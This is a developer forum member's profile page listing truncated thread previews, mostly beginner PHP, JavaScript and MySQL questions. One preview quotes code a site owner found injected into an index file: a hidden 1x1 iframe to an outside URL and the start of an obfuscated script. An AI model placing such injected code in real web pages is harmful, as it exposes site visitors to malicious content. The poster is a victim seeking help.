Posts
 
Reputation
Joined
Last Seen
Ranked #4K
Strength to Increase Rep
+5
Strength to Decrease Rep
-1
50% Quality Score
Upvotes Received
1
Posts with Upvotes
1
Upvoting Members
1
Downvotes Received
1
Posts with Downvotes
1
Downvoting Members
1
1 Commented Post
Member Avatar for iniyanmani

Hi, I am new to PHP. I wanna know how the button reacts on the click event. [B]This is my code snippet.[/B].. [code]Name: <input type="text" name="fname" /> <input type='button' name='Release' onclick='hello()' value='Submit'> <script type="application/javascript"> function hello(clicked) { alert(clicked); return false; } </script>[/code] Whenever I click the button, it triggers javascript …

Member Avatar for OS_dev
-1
7K
Member Avatar for theimben

I want to make an FLV player which I can embed in web pages. Ive found some tutorials on the internet but they are very basic and because I don't know a whole lot about flash I cant improve on these. If I'm doing this wrong, don't flame me. Im …

Member Avatar for tdjprj
0
143
Member Avatar for theimben

I have ESET Nod 32 Internet Security running and it says I have a virus in my memory and it's unable to delete it. My programs are constantly crashing and Im using around 3 of 4 GB of memory. How can I fix this?

Member Avatar for Godsp3ed
0
176
Member Avatar for realnsleo

hi everyone .. i have just finished developing a web application i hope to put on the www very soon. however my application has various folders that i dont want the public to access directly through a URL for example the images, config and includes folder which contain database and …

Member Avatar for theimben
0
81
Member Avatar for theimben

I run a vBulletin forum and Im trying to write a new BB Code. This would be the syntax: [CODE][parts] http://www.link1.com http://www.link2.com http://www.link3.com [/parts][/CODE] This would then be parsed into: [CODE=html] <a href="http://www.link1.com" class="linkclass">Anchor 1</a> <a href="http://www.link2.com" class="linkclass">Anchor 2</a> <a href="http://www.link3.com" class="linkclass">Anchor 3</a> [/CODE] Im a real regex newbie, I …

0
61
Member Avatar for theimben

Ive written an image preloading script but Im not sure if it would work. Could someone look at it and just clear up wether it should work or not [CODE]<html> <head> <script type="text/javascript"> function preloader() { // counter var i = 0; // create object imageObj = new Image(); // …

Member Avatar for essential
0
286
Member Avatar for theimben

I need something to read all files in a directory and all files in child directories and any directories below this. Could someone provide a snippet for me. Thanks :)

Member Avatar for kireol
0
256
Member Avatar for theimben

I have this code so when a user clicks a div they get taken to another page, just like the <a> tag. However I want it to open in a new page like target="_blank" but I dont know how. this is my code so far. Please help [CODE=html] <div onclick="location.href='http://linky.com';" …

Member Avatar for theimben
0
125
Member Avatar for theimben

I want to redirect a user after a few seconds without using javascript. Is this possible? Thanks.

Member Avatar for theimben
0
100
Member Avatar for theimben

I want to check if a key exists in a MySQL DB. I can do this ok but I would need to create a new key if it does exist. So this is the function that makes the key: [code=php] function keygen($a){ $b = str_shuffle('abcdefghijklmnopqrstuvwxyz1234567890'); return substr($b,0,$a); } [/code] So …

Member Avatar for rm_daniweb
0
148
Member Avatar for thebigpicture

I have a form with a hidden object: [CODE="HTML"]<input id="tracker" type="hidden" name="tracker" value="0" />[/CODE] The value is read with JavaScript and increased each time an element is added: [CODE="JavaScript"]var tracker = document.getElementById("tracker"); var tracked = parseFloat(tracker.value) + 1; tracker.value = tracked;[/CODE] This works fine while in HTML and JavaScript, but …

Member Avatar for thebigpicture
0
108
Member Avatar for khr2003

hi I am not sure if this is the right section, but the files I am using in my website are written in php language. Yesterday, I try to edit my files and found at the end of the index file this code: [CODE]<iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe><script>function c102916999516l4963660743084(l4963660743855){ …

Member Avatar for cwarn23
0
1K
Member Avatar for veledrom

Hi, Can i use sleep() for 1 hour? I mean is there any expiry time for it or browser or session so on. Purpose is to send 2000 emails every one hour. Thanks

Member Avatar for digital-ether
0
186
Member Avatar for theimben

Ive got an RSS parser using the DOM. Its got a loop to display each item. I want to have a hidden field on each item then post this to another page. Im having trouble counting each item in the loop. Help please :) This is what ive got: [code=php]<?php …

Member Avatar for pritaeas
0
69
Member Avatar for theimben

Im trying to detect the format of an image. But I get a parse error [PHP]<?php $filename = 'http://static.php.net/www.php.net/images/php.gif'; $file = fopen($filename, 'rb'); $size = getimagesize($file); switch ($size['mime']) { case "IMAGETYPE_GIF": echo "Image is a gif"; break; case "IMAGETYPE_JPEG": echo "Image is a jpeg"; break; case "IMAGETYPE_PNG": echo "Image is …

Member Avatar for pritaeas
0
72
Member Avatar for theimben

When posting a long line of code it goes down to the next line...for example: [code=php] $errormessages = array( 'nosearch' => 'Your search returned no results - <a href="guide?t=search">Click Here For Search Tips</a>', 'captcha' => 'The captcha you entered was incorrect, please try again.',); [/code] Would it be possible to …

Member Avatar for verruckt24
0
149
Member Avatar for theimben

Theres a bug in the control panel where the sidebar on the right overlaps the control panel slightly.

Member Avatar for Dani
0
55
Member Avatar for theimben

I want to use $_GET['error'] to fetch error messages from an array. Heres my array: [code=php] $errormessages = array( 'nosearch' => 'Your search returned no results - <a href="guide?t=search">Click Here For Search Tips</a>', 'captcha' => 'The captcha you entered was incorrect, please try again.',); [/code] So if I did [ICODE]echo …

Member Avatar for Shanti C
0
197
Member Avatar for theimben

On my MySQL search what I want to do is redirect a user to another page and show an error message if the search returned no results. But for some reason the user never gets redirected. Can you spot my problem? :| [code=php] $sql = "SELECT * FROM `list` WHERE …

Member Avatar for vinothkumarc
0
79
Member Avatar for theimben

Im sure this has been discussed endless times but I can't find anything which will do it how I want to. I want to seemlessly execute some PHP onclick. It will just update a row in MySQL and I dont want the user to be aware of this happening. How …

Member Avatar for essential
0
75
Member Avatar for theimben

Ive got a MySQL search, which searches an index of urls. The search parameter searches titles. What I want to do is have something like Google. So, if someone searches: [CODE]site:example.com something to search[/CODE] It would look for example.com in one column then from those results it would look for …

Member Avatar for theimben
0
1K
Member Avatar for Shanti C

Hello... Good Morning All... How to hide all query strings in my url and here i can't use hidden variables for these all because in all times i couldn't send them with form submission..And my page is having four query strings to be sent... If any body have any clues …

Member Avatar for Shanti C
0
5K
Member Avatar for theimben

Im having trouble ending sessions for some reason :| Heres my code. Can anyone see what the problem is? [code] <?php include('includes/config.php'); unset($_SESSION['isLogged']); session_destroy(); ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> </HEAD> <BODY> <?php echo '<div class="nav">'.$navigation.'</div>'; ?> You have been logged out. </body> </html> [/code]

Member Avatar for nav33n
0
102
Member Avatar for theimben

Firstly, can I just say. I know this is really badly written but its to the best of my ability. Right, on index.php it makes a query which should go to search.php. Search.php handles everything. It makes a request to ajax.php which makes the request from the database. The problem …

Member Avatar for cwarn23
0
93
Member Avatar for theimben

Im using vBulletin and Im making a little script which needs to integrate with it. But due to vBulletins lack of PHP plugin support I have to use a client side language to make it work. So I have this script, its queries a database and has pagination. I want …

Member Avatar for theimben
0
64
Member Avatar for theimben

Im trying to delete records. Most delete ok but some don't and Im completly lost as to why... The information Im storing are just URLs. Could it be to do with some irregular characters within these URLs? Is there a recomended way to store a URL? Please help me out. …

Member Avatar for theimben
0
123
Member Avatar for progurammaar

please check it out [url]www.gojyotish.com[/url] i use a gif background....its not appearing a it should in chrome, just see the difference in appearance in firefox.....

Member Avatar for theimben
0
86
Member Avatar for zerugaze

For instance, I have the following string: table:column I need to get "table" as the result of the php regular expression. So, I need everything before the ":" symbol After that regular expression is performed, I would also like to get everything after the ":" symbol, or "column" as well.

Member Avatar for jedi_ralf
0
138
Member Avatar for theimben

Can anyone see anything wrong with this. Im stuck :( [code=php] $sql1 = mysql_query("DELETE FROM spider WHERE url='$addtolist'"); if (!mysql_query($sql1,$con)) { die('Error Deleting: ' . mysql_error()); } echo "Record Deleted <br />"; $sql2="INSERT INTO list (title, url, description) VALUES ('$title','$url','$description')"; if (!mysql_query($sql2,$con)) { die('Error Adding: ' . mysql_error()); } echo …

Member Avatar for theimben
0
109
Member Avatar for rEhSi_123

Hello Everybody, Wondering if any of the experts could help me out. I am trying to create a forum system for my university website. I have created the tables by using WAMP-phpMyAdmin, where the data from the forum would be inserted. Now, I would like to implement this using PHP. …

Member Avatar for Will Gresham
0
83